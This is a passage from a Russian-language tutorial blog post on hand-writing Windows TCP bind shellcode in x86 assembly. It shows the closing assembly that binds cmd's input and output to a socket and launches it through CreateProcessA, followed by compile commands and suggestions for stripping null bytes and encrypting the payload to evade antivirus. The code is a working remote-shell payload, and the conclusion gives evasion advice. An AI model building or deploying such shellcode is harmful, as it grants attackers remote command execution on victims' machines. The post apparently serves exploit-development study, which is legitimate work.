attribute in the STARTUPINFO structure. stosd ; Set the hStdInput attribute to the file ; descriptor returned from WSASocket. stosd ; Set the hStdOutput attribute to the file ; descriptor returned from WSASocket. stosd ; Set the hStdError attribute to the file ; descriptor returned from WSASocket. pop edi ; Restore edi to its original value xor eax, eax lea esi, [edi + 0x44] ; Load the effective address of ; the PROCESS INFORMATION structure into esi. push esi ; Push the pointer to the lpProcessInformation struc. push edi ; Push the pointer to the lpStartupInfo structure. push eax ; Push the lpStartupDirectory argument as NULL. push eax ; Push the lpEnvironment argument as NULL. push eax ; Push the dwCreationFlags argument as 0. inc eax push eax ; Push the bInheritHandles argument as ; TRUE due to the fact that the ; client needs to inherit the socket file descriptor. dec eax push eax ; Push the lpThreadAttributes argument as NULL. push eax ; Push the lpProcessAttributes argument as NULL. mov eax, [ebp - 0x2c] push eax ; Push the lpCommandLine argument as the pntr cmd xor eax, eax push eax ; Push the lpApplicationName argument as NULL. call [ebp - 0x4] ; Call CreateProcessA

Для компиляции шеллкода выполним:

nasm -f win32 portbind.asm & gcc -o portbind.exe portbind.obj

Запустим его и установим соединение.

Компиляция, запуск и установление соединения с шеллкодом

image

Заключение

Таким образом, мы рассмотрели один из вариантов создания Windows TCP Bind шеллкода. Другие типовые шеллкоды типа Reverse TCP или Exec cmd могут быть легко написаны после разбора этого примера.

Направления дальнейшей работы могут быть такими:

  • избавление шеллкода от нулевых байтов \x00. Здесь будет использоваться «полиморфизм» — достижение одного и то же результата разными инструкциями ассемблера;
  • обфускация шеллкода от обнаружения антивирусами — один из вариантов, когда тело шеллкода расшифровывается в памяти и затем выполняется, таким образом большинство антивирусов не обнаруживают шеллкод;
  • можно добавить возможность многократного подключения к шеллкоду — в текущем примере для повторного подключения необходимо перезапускать шеллкод;
  • минимизации кода — некоторые куски кода можно оптимизировать, чтобы длина шеллкода была меньше.

Полезные ссылки:

  • Код на githab;
  • Самой полезной для меня оказалась книга. В ней рассмотрены основные шеллкоды, техники (например, socket reuse);
  • Серия статей corelan;

Если у вас остались вопросы, то пишите в комментариях.

Показать больше

Похожие публикации

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»